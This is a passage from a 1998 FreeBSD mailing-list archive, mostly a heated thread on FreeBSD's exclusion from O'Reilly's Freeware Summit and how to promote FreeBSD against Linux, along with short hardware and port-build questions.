owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jordan K. Hubbard" wrote: > I was told by Eric Raymond (whom I met briefly at the Mozilla party) > that the *BSD people were deliberately excluded because there were too > many BSDs and they didn't want to get involved in any political issues > over it. I find these continuous allegations of the BSD world being > gratuitously and needlessly "split" (even though each *BSD seeks to > fill a different niche) by the Linux community to be rather tiresome > considering the amount of division in their own ranks and can only see > this as something of a double standard, but I've long since given up > on any hope of fair play from this particular crowd. > > This and several other incidents of a similar nature has pretty much > convinced me that this crowd would rather prefer it if we really > didn't exist at all and is going to essentially conduct their > operations as if we didn't. Oh well. Perhaps it *IS* time to go on > the PR offensive here ("Why Linux doesn't work") since playing nice > guys hasn't appeared to have won us anything but lots of nice comments > from folks like Marc A. at netscape to the effect that "Linux is the > only free OS alternative." I'm getting tired of that, and if it's > going to take "breaking ranks" with the rest of the free OS community > to get our own message out, maybe it's time. > > Jordan Amen!! From what you say, the time appears to have come. There are enough of them to eat us alive it we sit on our buts and just observe. A kick ass attitude can be a very good thing if things are indeed as you say they are. I am no politician, but that appears to be what is going on here. In that case the more noise and fsck you the better. Stake our ground and strut our stuff. Frank > > > To All, > > This is the message that I sent Tim O'Reilly, the founder of > O'Reilly > > and Associates. Next I will send you his response. > > > > David > > > > -----Original Message----- > > From: David Shanes > > To: tim@oreilly.com > > Date: Thursday, April 09, 1998 11:45 AM > > Subject: Your Article "Freeware: The Heart & Soul of the Internet" > > > > > > >Mr. O'reilly, > > > I applaud ORA's endorsement of Open Source software. It is a > huge step > > >to gather together the "forefathers" of some of the most popular > and stable > > >software in use on the Internet today. > > > Personally, I use FreeBSD and was wondering if there was any > particular > > >reason that the developers of FreeBSD were not included in your > "Freeware > > >Summit". > > > FreeBSD has much to offer over Linux and has a huge > developer/user > > base, > > >including Yahoo! and CDROM.COM. > > > > > >Sincerely, > > >David Shanes > > >_____________________________________________________ > > >David Shanes 7535 Metropolitan > Drive > > >dshanes@personalogic.com San Diego, CA 92108 > > >Database Developer (619) 220-5800 x228 > > >PersonaLogic, Inc. (619) 220-5899 (fax) > > >http://www.PersonaLogic.com > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:44:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA07830 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:44:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpha.sta.adelphia.net (alpha.sta.adelphia.net [24.48.10.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA07771 for ; Thu, 9 Apr 1998 19:44:30 -0700 (PDT) (envelope-from missmanp@adelphia.net) Received: from missmanp.sta.adelphia.net (surf162.sta.adelphia.net [24.48.11.162] (may be forged)) by alpha.sta.adelphia.net (8.8.6/8.7.3) with SMTP id WAA07329; Thu, 9 Apr 1998 22:44:46 -0400 (EDT) From: "Paul Missman" To: , "David Langford" Subject: Re: Abit motherboards? Date: Thu, 9 Apr 1998 22:44:43 -0400 Message-ID: <01bd642a$9dbdaf20$0525a8c0@missmanp.sta.adelphia.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From: David Langford Date: Thursday, April 09, 1998 10:31 PM > >Anyone have any experience with Abit motherboards? > >Looking at the Abit LX6 and was curious if any horror stories existed >or if they are just fine. > They are great motherboards, with the small caveat that folks have been having some compatibility problems with some AGP video cards. Suggest you have a look at newsgroup: alt.comp.periphs.mainboard.abit Paul Missman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:50:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA08667 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:50:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA08632; Thu, 9 Apr 1998 19:50:27 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-42.mdm.mke.execpc.com [169.207.64.46]) by mailgw02.execpc.com (8.8.8) id VAA21296; Thu, 9 Apr 1998 21:50:23 -0500 (CDT) Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id VAA23379; Thu, 9 Apr 1998 21:50:10 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100250.VAA23379@darkstar.connect.com> Date: Thu, 9 Apr 1998 21:50:09 -0500 (CDT) To: nordwick@scam.XCF.Berkeley.EDU Cc: fpawlak@execpc.com, toor@dyson.iquest.net, brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re[4]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <19980410011618.25209.qmail@xcf.berkeley.edu> X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jason Nordwick wrote: > > Frank Pawlak, on Thu 4/9/1998, wrote the following: > > > > Such is true. I am a "newish" FreeBSD user and SuSE Linux reseller. > I > > see a ready market for free "low cost" software in college > bookstores, > > particularly those universities that have computer engineering and > > comsci departments. Part of evangelism is marketing and market > > presence. Having this OS on display at universities will attract a > > young audience the very people that are evangelizing Linux. > > Frank > > > > Would it be possible to have the Walnut Creek CDs in > computer/bookstores, > as I see the Linux CDs ? > > What would this take, just calling and marketing ? Yes that could be the case. It is hard to justify a personal visit with a relatively low cost product such as we are talking about here. The other issue is how to college bookstores view their shelf space. Normal stores run on profit dollars per square foot of shelf space, with the low and slow movers getting the boot. I wouldn't think that college bookstore are manage quite this tightly but could be wrong. Telemarketing or product on consignment maybe that way to get started. Another idea that I've had is that those of use that are going to college make a call on the bookstore manager and try to sell them on FreeBSD. There could be legal issues here with WC CDROM because someone acting as a sales person is an agent of the organization. CompSci and Computer Engineering Deptartment heads etc., maybe prime prospects for a freeby copy to seed that effort. Like any marketing effort this would have to be planed out a bit to get desired results. Frank > > jay > -- > Join the FreeBSD Revolution. > Support the FSF, buy GNU. > http://xcf.berkeley.edu/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:54:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA09623 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:54:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from crism.ne.mediaone.net (crism.ne.mediaone.net [24.128.30.101]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA09607 for ; Thu, 9 Apr 1998 19:54:01 -0700 (PDT) (envelope-from crism@crism.ne.mediaone.net) Received: from crism.ne.mediaone.net (localhost.ne.mediaone.net [127.0.0.1]) by crism.ne.mediaone.net (8.8.7/8.8.7) with ESMTP id WAA02788 for ; Thu, 9 Apr 1998 22:50:12 -0400 (EDT) (envelope-from crism@crism.ne.mediaone.net) Message-Id: <199804100250.WAA02788@crism.ne.mediaone.net> To: freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-reply-to: Your message of "Fri, 10 Apr 1998 11:35:36 +0930." <19980410113536.65458@freebie.lemis.com> Date: Thu, 09 Apr 1998 22:50:11 -0400 From: "Christopher R. Maden" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- I was going to send this just to Greg, but my suggestions at the end are possibly useful to the group at large. [Greg Lehey] > Tim knows about Jordan, despite his message. We've repeatedly tried > to get them interested in BSD, but there's something at ORA that > resists. I suspect it's not Tim (who lives in California), but > somebody on the East Coast. Is this one of those weird west coast/east coast UNIX things? You'd think we were rappers; I've never understood it. Tim has allegedly resisted proposals for FreeBSD books; the only two FreeBSD users I *know* of at O'Reilly are on the east coast. Most of the directional decisions happen on the west coast; the Cambridge office is almost exclusively production staff, though there are some marketing people and editors. > I've just about given up with ORA. They seem to be relinquishing > their position as the favourite UNIX publisher and chasing the NT > crowd. I'm surprised they even had this "summit". I disagree with that. My current project is the _UNIX Power Library_, a CD of the six most popular UNIX books (Power Tools, vi, ksh, sed & awk, UNIX Nut, and Learning UNIX) along with the Power Tools software. I'd say the current focus is more on Web stuff like Perl, Java, HTML, JavaScript, and XML. The focus of the Windows stuff is one I don't mind, and my home is Microsoft-free. I like the thurst of the "Annoyances" series. The main problem is that Tim doesn't see that there's a market for FreeBSD books, and he *is* in business to make money. The reason he's big on free software, and sponsored the summit, is that he realizes that there *is* money there, as demonstrated by our wildly popular Perl books. He hired Larry basically to give him an umbrella to keep Perl going, and to help come up with commercial tie-ins to the free core software. The main thing that FreeBSDers can do to change his perception is to demonstrate that there *is* a market. If you own O'Reilly books and would like to see FreeBSD books, *tell us*. If you don't own O'Reilly books, but would buy FreeBSD books, *tell us*. E-mail nuts@oreilly.com. Even better, if there's a specific book you think needs writing, *write it*. Prepare an outline and writing samples, and see . But don't do this unless you are prepared not to have a life for quite a while; writing a book kind of sucks. - -crism - -- "The secret of life is ventriloquism!" - _Complex World_ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: For my public key, finger crism@crism.ne.mediaone.net. iQB1AwUBNS2ImHSaAdkmYoAJAQH3HAL9HE5xC13dEq1ev2Cp68hCxPZazpRS2mG6 6tVmQ4rVsjt26CqQlBSFPEtCViMCMH9OiL34sEJThxE1OowypRZn1p2k08uExSqr GKu/y46n/dAP+Hy9ethkPsyROZX/rr5S =G3m9 -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 19:57:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA10150 for freebsd-questions-outgoing; Thu, 9 Apr 1998 19:57:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA10130; Thu, 9 Apr 1998 19:57:04 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-42.mdm.mke.execpc.com [169.207.64.46]) by mailgw01.execpc.com (8.8.8) id CAA27782; Fri, 10 Apr 1998 02:56:58 GMT Received: (from fpawlak@localhost) by darkstar.connect.com (8.8.8/8.8.8) id VAA23388; Thu, 9 Apr 1998 21:56:51 -0500 (CDT) From: Frank Pawlak Message-Id: <199804100256.VAA23388@darkstar.connect.com> Date: Thu, 9 Apr 1998 21:56:50 -0500 (CDT) To: jmb@FreeBSD.ORG Cc: toor@dyson.iquest.net, brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804100101.SAA14824@hub.freebsd.org> X-Mailer: Ishmail 1.3.2-971023-FreeBSD MIME-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jonathan M. Bresler" wrote: > John S. Dyson wrote: > > Brett Glass wrote: > > > If there is not an exceedingly strong effort to promote FreeBSD as > superior > > > to Linux, Linux -- which has a larger installed base -- will be > catapulted > > > to a dominant position while FreeBSD will see no noticeable > increase in > > > its user base or its popularity. FreeBSD needs to have a few > "zealots" and > > > "evangelists" -- just as Linux does -- to stubbornly insist that > > > FreeBSD be included in every forum where Linux is discussed. It > also needs > > > some calmer proponents to take up the slack. Perhaps a new slot on > the > > > core team -- "Chief Evangelist" -- is in order. > > > > > The problem with FreeBSD, is that people working on FreeBSD are > generally > > older, and find evangelism to be painful. Also, people using > FreeBSD > > are busy using it, as opposed to worshipping it. > > > > How do we (really) deal with this? > > evangelism is a full-time plus overtime job > with lots of travel, lumpy beds, lousy food > and irritating people. > > you gotta be crazy and well paid to do it. > > a volunteer "Chief Evangelist" would hvae to be > indepentently weathly. > > anyone wanna volunteer? The Linux community uses add slicks and authorized re-sellers and wholsalers tp promate their product. Take a look at www.caldera.com or www.suse.com There are also numerous links to software that runs on Linux which make the numbers of user look large and indeed they have a large user base. It would be interesting to see some estimate of the FreeBSD user base with some seperation of usage on servers vs desktops. This could be a ket ingredient in getting more commercial userland stuff ported to FreeBSD. Frank . > > jmb > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 20:04:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA11533 for freebsd-questions-outgoing; Thu, 9 Apr 1998 20:04:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA11493; Thu, 9 Apr 1998 20:03:53 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id WAA00452; Thu, 9 Apr 1998 22:03:01 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804100303.WAA00452@dyson.iquest.net> Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804100239.VAA23365@darkstar.connect.com> from Frank Pawlak at "Apr 9, 98 09:39:30 pm" To: fpawlak@execpc.com (Frank Pawlak) Date: Thu, 9 Apr 1998 22:03:01 -0500 (EST) Cc: jkh@time.cdrom.com, dshanes@personalogic.com, brett@lariat.org, freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > "Jordan K. Hubbard" wrote: > > I was told by Eric Raymond (whom I met briefly at the Mozilla party) > > that the *BSD people were deliberately excluded because there were too > > many BSDs and they didn't want to get involved in any political issues > > over it. I find these continuous allegations of the BSD world being > > gratuitously and needlessly "split" (even though each *BSD seeks to > > fill a different niche) by the Linux community to be rather tiresome > > considering the amount of division in their own ranks and can only see > > this as something of a double standard, but I've long since given up > > on any hope of fair play from this particular crowd. > > > > This and several other incidents of a similar nature has pretty much > > convinced me that this crowd would rather prefer it if we really > > didn't exist at all and is going to essentially conduct their > > operations as if we didn't. Oh well. Perhaps it *IS* time to go on > > the PR offensive here ("Why Linux doesn't work") since playing nice > > guys hasn't appeared to have won us anything but lots of nice comments > > from folks like Marc A. at netscape to the effect that "Linux is the > > only free OS alternative." I'm getting tired of that, and if it's > > going to take "breaking ranks" with the rest of the free OS community > > to get our own message out, maybe it's time. > > > > Jordan > > Amen!! From what you say, the time appears to have come. There are > enough of them to eat us alive it we sit on our buts and just observe. > A kick ass attitude can be a very good thing if things are indeed as you > say they are. I am no politician, but that appears to be what is going > on here. In that case the more noise and fsck you the better. Stake > our ground and strut our stuff. > Frank > Each of 'em seems like a Borg nano-probe :-). (Re: StarTrek Voyager :-)). John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 20:15:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA13360 for freebsd-questions-outgoing; Thu, 9 Apr 1998 20:15:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from uniqsite.uniqsite.com. (timm@uniqsite.com [206.14.149.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA13354 for ; Thu, 9 Apr 1998 20:15:43 -0700 (PDT) (envelope-from timm@uniqsite.com) Received: from localhost (timm@localhost) by uniqsite.uniqsite.com. (8.8.7/8.8.7) with SMTP id UAA04591 for ; Thu, 9 Apr 1998 20:15:38 -0700 (PDT) (envelope-from timm@uniqsite.com) Date: Thu, 9 Apr 1998 20:15:38 -0700 (PDT) From: Tim Moony To: FreeBSD Questions Forum Subject: Is NE3200 now supported? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Last time I checked, there were questions asking "is n3200 supported" in the mailing list, but no answers. Is the card supported now? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 20:16:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA13768 for freebsd-questions-outgoing; Thu, 9 Apr 1998 20:16:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA13759 for ; Thu, 9 Apr 1998 20:16:45 -0700 (PDT) (envelope-from anthony@sohopros.com) From: anthony@sohopros.com Received: from anthony.none.com (fwasc50-209.flash.net [209.30.160.209]) by endeavor.flash.net (8.8.8/8.8.5) with SMTP id WAA22174; Thu, 9 Apr 1998 22:16:39 -0500 (CDT) Message-ID: X-Mailer: XFMail 1.1 [p0] on FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Thu, 09 Apr 1998 21:02:21 -0500 (CDT) Organization: Student To: freebsd-questions@FreeBSD.ORG Subject: Error message... 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Script started on Wed Apr 8 20:35:44 1998 # make instta_ __ _all_ >> Checksum OK for xspread2.1.tar.gz._ ===> Building for xspread-2.1_ env: gmake: No such file or directory_ *** Error code 1_ _ Stop._ *** Error code 1_ _ Stop._ *** Error code 1_ _ Stop._ # ^D__exit_ Script done on Wed Apr 8 20:37:08 1998 ---------------------------------- E-Mail: anthony@sohopros.com Date: 09-Apr-98 Time: 21:02:21 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 20:20:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA14581 for freebsd-questions-outgoing; Thu, 9 Apr 1998 20:20:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.webspan.net (root@mail.webspan.net [206.154.70.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA14554; Thu, 9 Apr 1998 20:20:35 -0700 (PDT) (envelope-from opsys@mail.webspan.net) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (WEBSPAN/970608) with SMTP id XAA16545; Thu, 9 Apr 1998 23:16:23 -0400 (EDT) Date: Thu, 9 Apr 1998 23:19:58 -0400 (EDT) From: Open Systems Networking X-Sender: opsys@orion.webspan.net To: "Jordan K. Hubbard" cc: David Shanes , Brett Glass , freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <3980.892169423@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Jordan K. Hubbard wrote: > I was told by Eric Raymond (whom I met briefly at the Mozilla party) > that the *BSD people were deliberately excluded because there were too > many BSDs and they didn't want to get involved in any political issues > over it. I find these continuous allegations of the BSD world being > gratuitously and needlessly "split" (even though each *BSD seeks to > fill a different niche) by the Linux community to be rather tiresome > considering the amount of division in their own ranks and can only see > this as something of a double standard, but I've long since given up > on any hope of fair play from this particular crowd. > > This and several other incidents of a similar nature has pretty much > convinced me that this crowd would rather prefer it if we really > didn't exist at all and is going to essentially conduct their > operations as if we didn't. Oh well. Perhaps it *IS* time to go on Thats why I thought our own mozilla tree would be best, since they have never had any priority for releasing a BSD version of netscape until yahoo, and im willing to bet, screamed bloody murder to get them to make a port. I could be wrong but thats what I think happened. > the PR offensive here ("Why Linux doesn't work") since playing nice I think we SERIOUSLY need a PR plan of some kind. I think also we can take the gloves off and start kicking heads without getting nasty about it. We have several FACTUAL resources that they just CANT compete with. One being our ability to server better than ANY OS out there. We have proven this with yahoo and wcarchive and probably a few other places. They do not have such visable factual references to point at. Our stack is better. That is not a holy war comment thats just being based verifable facts. They can't argue with yahoo or wcarchive. The best they can do, and i'm referring to any OS vendor, is point at similar flagship places. Linux may have dejanews but there are no printed numbers that im aware of for them, or the like. So I mean you can get to the nitty gritty about performance with facts and just kill the banter of which stack might be better. I know this has been done to death on IRC and other low key places. But not in articles, not in highly visable places. > guys hasn't appeared to have won us anything but lots of nice comments > from folks like Marc A. at netscape to the effect that "Linux is the > only free OS alternative." I'm getting tired of that, and if it's > going to take "breaking ranks" with the rest of the free OS community > to get our own message out, maybe it's time. I second this! But the problemhere is that we have zero PR. I am not making light of jordans efforts at all. His trips, his talks, his free CD handouts to promote FreeBSD. But the fact is we dont have any PR that is making any difference to anyone but geeks. ORA flat out annoys me by pretty much refusing to do a FreeBSD book. The only publisher I can respect now would be addison wessley since they have seemed interested in publishing gregs book. I dont know what happened on that front. But im straying from my rant. We need PR. Can we get the PR we need? I'm not so sure. The simple fact since for as long as I can remember has been money. money to do drivers, moeny to hire coders, moeny for PR. But the simple fact is FreeBSD Inc, isnt seeing jack &@#$, money wise. As far as I can tell. They get minor donations from people im aware of that, and I thank those people. But it's pretty obvious big companies that are using FreeBSD are not very keen on donating the money we need to advertise in magazines, journals, etc.. I could be wrong but I just dont see it. The entire PR for FreeBSD is non-existant. Other than the IRC banter, the job jordan does ot promote it etc.. But were not putting ad's out all over, were not saturating certain places with info. And im not taking anyone to task. I know everyone involved in -core and commiters works very damn hard alot of the time to make FreeBSD what it is today. But how do we resolve these issues? How do we get funding for PR? Should PR take priority over SMP? Bascially we need a freaking game plan. It's a volunteer project, and thats good IMO, but we need an organized strong game plan for doing some serious PR now. We have lost out to many times. We took a hit a while back on the article comparing linux, bsdi, and freebsd cause we only recognized 64 megs of ram by default instead of 128. That hurt us. I'm just tired of loosing out to the satanic penguin all the time. They get precedence over us, they get more articles, people will publish THEIR books. Book wise were like the plaugue for some reason. I'm really teed off now. I think we do need to take the gloves off and start beating people over the head HARD with facts, and shoving FreeBSD down their throats. Jordan is right being nice gets us no where. nice guys finish last is the saying. and its becoming quite true. I think we need to form a game plan. We need to have alot of open dialogue of PR, marketing, strategy, etc.. We keep struggling and it does us no good. Were spinning wheels but going nowhere. Well maybe slooowly we are. But we need to get a game plan going and attack with teeth. But stick to facts. I think we just need a PR plan. We need to organize an assault :) Im done venting, im going back to my corner now, Chris -- "I am closed minded. It keeps the rain out." ===================================| Open Systems Networking And Consulting. FreeBSD 2.2.6 is available now! | Phone: 316-326-6800 -----------------------------------| 1402 N. Washington, Wellington, KS-67152 FreeBSD: The power to serve! | E-Mail: opsys@open-systems.net http://www.freebsd.org | Consulting-Network Engineering-Security ===================================| http://open-systems.net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQENAzPemUsAAAEH/06iF0BU8pMtdLJrxp/lLk3vg9QJCHajsd25gYtR8X1Px1Te gWU0C4EwMh4seDIgK9bzFmjjlZOEgS9zEgia28xDgeluQjuuMyUFJ58MzRlC2ONC foYIZsFyIqdjEOCBdfhH5bmgB5/+L5bjDK6lNdqD8OAhtC4Xnc1UxAKq3oUgVD/Z d5UJXU2xm+f08WwGZIUcbGcaonRC/6Z/5o8YpLVBpcFeLtKW5WwGhEMxl9WDZ3Kb NZH6bx15WiB2Q/gZQib3ZXhe1xEgRP+p6BnvF364I/To9kMduHpJKU97PH3dU7Mv CXk2NG3rtOgLTEwLyvtBPqLnbx35E0JnZc0k5YkABRO0JU9wZW4gU3lzdGVtcyA8 b3BzeXNAb3Blbi1zeXN0ZW1zLm5ldD4= =BBjp -----END PGP PUBLIC KEY BLOCK----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 20:44:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA18513 for freebsd-questions-outgoing; Thu, 9 Apr 1998 20:44:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from aaka.3skel.com (aaka.3skel.com [207.240.212.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA18384; Thu, 9 Apr 1998 20:44:49 -0700 (PDT) (envelope-from danj@3skel.com) Received: from fnur.3skel.com (fnur.3skel.com [192.168.0.8]) by aaka.3skel.com (8.8.5/8.8.2) with ESMTP id XAA20113; Thu, 9 Apr 1998 23:44:43 -0400 (EDT) Received: from 3skel.com (localhost.3skel.com [127.0.0.1]) by fnur.3skel.com (8.8.5/8.8.2) with ESMTP id XAA17710; Thu, 9 Apr 1998 23:44:42 -0400 (EDT) Message-ID: <352D95AA.6F549027@3skel.com> Date: Thu, 09 Apr 1998 23:44:42 -0400 From: Dan Janowski Organization: Triskelion Systems, Inc. X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: Frank Pawlak CC: jmb@FreeBSD.ORG, toor@dyson.iquest.net, brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: <199804100256.VAA23388@darkstar.connect.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Frank Pawlak wrote: > It would be interesting to see some estimate of the FreeBSD user base > with some seperation of usage on servers vs desktops. This could be a > ket ingredient in getting more commercial userland stuff ported to > FreeBSD. We should conduct a census! Put it on the website, in the FTP banners on wcarchive, in the CDROMs. Dan -- danj@3skel.com Dan Janowski Triskelion Systems, Inc. Bronx, NY To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 20:45:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA18809 for freebsd-questions-outgoing; Thu, 9 Apr 1998 20:45:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dan.emsphone.com (dan@dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA18739 for ; Thu, 9 Apr 1998 20:45:09 -0700 (PDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.8.8/8.8.6) id WAA18268; Thu, 9 Apr 1998 22:45:03 -0500 (CDT) Message-ID: <19980409224502.A15297@emsphone.com> Date: Thu, 9 Apr 1998 22:45:02 -0500 From: Dan Nelson To: ken@mui.net, freebsd-questions@FreeBSD.ORG Subject: Re: Your Article "Freeware: The Heart & Soul of the Interne References: <199804092124.OAA00915@dingo.cdrom.com> <199804092140.PAA04541@lariat.lariat.org> <199804092230.MAA04112@rocksalt.mui.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.90.10i In-Reply-To: <199804092230.MAA04112@rocksalt.mui.net>; from "ken@mui.net" on Thu Apr 9 12:29:20 GMT 1998 X-OS: FreeBSD 2.2.6-STABLE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In the last episode (Apr 09), ken@mui.net said: > > Once I got it, a few things I noticed. Linux support is awesome in > many ways. If you have a question, simply go to the irc. There's > tons of people always there, always helpful. > > That's one major difference. There's very little presence on the > FreeBSD side (on the irc). /me checks his IRC logs.. No-one from *.mui.net has joined #FreeBSD in the last year.. I'm in #FreeBSD on efnet most days, and it's been averaging around 60 people, up from ~40 last year. A few of them are usually willing to answer questions, although we sometimes get tired of PPP questions.. I go for odd compiler or hardware problems, myself. > Newsgroup support via linux is also pretty good. FreeBSD doesn't > seem to have much there. comp.unix.freebsd.* gets a couple hundred posts a day. Visible enough for me. > 6- Linux is starting to be written in lots of books. There's no link > to FreeBSD. No logical step for someone. If they have DOS, then > it's logical to get win31. if win31, then win95. If linux, then > redhat. perhaps if redhat, then FreeBSD . Greg Lehey's book > is a good start. It references FreeBSD specifically. There needs to > be more to get popular. O'Reilly would be a good place to try to > drum up support, perhaps. The reason for this is that FreeBSD wasn't 